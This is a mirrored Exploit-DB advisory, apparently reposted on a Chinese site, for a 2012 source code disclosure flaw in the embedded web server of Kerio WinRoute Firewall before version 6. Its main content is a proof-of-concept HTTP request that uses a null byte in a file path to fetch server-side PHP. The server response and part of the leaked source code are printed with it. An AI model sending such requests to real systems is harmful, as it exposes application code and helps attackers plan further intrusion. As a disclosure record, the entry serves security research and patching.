Kerio WinRoute Firewall Web Server < 6 - Source Code Disclosure - 体验盒子

作者： Andrey Komarov

日期： 2012-05-10

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/18857/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

# Exploit Title: Kerio WinRoute Firewall Embedded Web ServerVersion: Source

Code Disclosure

# Google Dork:

# Date: 10.05.2012

# Author: Eugene Salov, Andrey Komarov (Group-IB, http://group-ib.ru)

# Software Link: http://winroute.ru/kerio_winroute_firewall.htm

# Version: prior to 6

# Tested on: Microsoft Windows

# CVE :

Source code disclosure attacks on Kerio Web Server allow a malicious user

to obtain the source code of a server-side application.

This vulnerability grants the attacker deeper knowledge of the Web

application logic.

POC:

GET /nonauth/login.phpNULL_BYTE.txt HTTP/1.1

User-Agent: Group-IB OAiK Fuzzer

Host: hostname

HTTP/1.1 200 OK

Connection: Close

Content-Length: 2410

Content-Type: text/plain

Date: Fri, 27 Apr 2012 13:42:27 GMT

Last-Modified: Wed, 15 Oct 2008 03:14:06 GMT

Server: Kerio WinRoute Firewall Embedded Web Server

<?php

require_once('configNonauth.inc');

require_once(CORE_PATH . 'langHeader.inc');

require_once(LIB_PATH . 'Page.inc');

require_once(LIB_PATH . 'HtmlElements.inc');

require_once(CORE_PATH . 'common.inc');

require_once(CORE_PATH . 'browser.inc');

$afg = '';

$jy = kerio("webiface::PhpNonAuth");

$jy->getAsocUserName(&$afg, &$aba);

.....